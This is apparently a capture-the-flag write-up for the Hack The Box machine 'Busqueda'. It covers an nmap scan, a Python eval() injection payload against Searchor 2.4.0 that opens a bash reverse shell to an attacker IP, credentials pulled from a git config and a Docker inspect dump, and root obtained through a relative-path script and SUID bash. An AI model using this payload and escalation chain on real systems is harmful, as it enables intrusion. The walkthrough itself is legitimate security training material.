Busqueda

nmap

```
# Nmap 7.94 scan initiated Sat Jul  8 15:04:31 2023 as: nmap -sC -sV -oN nmap_init.nmap 10.10.11.208
Nmap scan report for 10.10.11.208
Host is up (0.091s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul  8 15:04:47 2023 -- 1 IP address (1 host up) scanned in 16.11 seconds
```

22 and 80, classic

searchor

The website uses Searchor 2.4.0

looking at the source code, and some discussions about a vulnerability on the GitHub,
we find out that the python code is using eval(), which has a remote code execution vulnerability

Payload:
dog', copy_url={copy}, open_web={open}), __import__('os').system('bash -c \"bash -i >& /dev/tcp/10.10.14.21/1337 0>&1\"') # comment

The payload gives us a reverse shell as user svc

priv esc

LINPEAS:

/etc/apache2/sites-enabled/000-default.conf
- Reveals a virtualhost subdomain: gitea.searcher.htb

On the subdomain, we find a Gitea page with an associated login page

The site reveals 2 possible usernames:
- administrator
- cody

Looking for config files on our shell, we find creds in a config file
/var/www/app/.git/config
→ cody:jh1usoih2bkjaspwe92

the same password is used by svc on the box, so we can run sudo -l:
svc:jh1usoih2bkjaspwe92

User svc may run the following commands on
busqueda:

    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

---

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --
format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mysql_db
→ gives an ip address for docker instance: 172.19.0.3

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' mysql_db

gives some creds:

format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"Att-
achStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":
{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":
["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4
i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/
bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=
8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":
{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":
{"com.docker.compose.config-
hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.co-
ntainer-
number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.com-
pose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/
docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}

using `mysql -h 172.19.0.3 -u root` and the password jI86kGUuj87guWr3RyF, we get into the mysql database as root
also, gitea:yuiu1hoiu4i5ho1uh is valid

password reuse for gitea page:
administrator:yuiu1hoiu4i5ho1uh

THE PRIV ESC:
- NOTE: this was discoverable just after sudo -l

svc is allowed to run `sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup`
looking at the source code for this, we see ./full-checkup.sh being run with a relative path
we can only run the real one by navigating to /opt/scripts
but we can make our own to run an arbitrary script as root

easy method is chmod +s /bin/bash then /bin/bash -p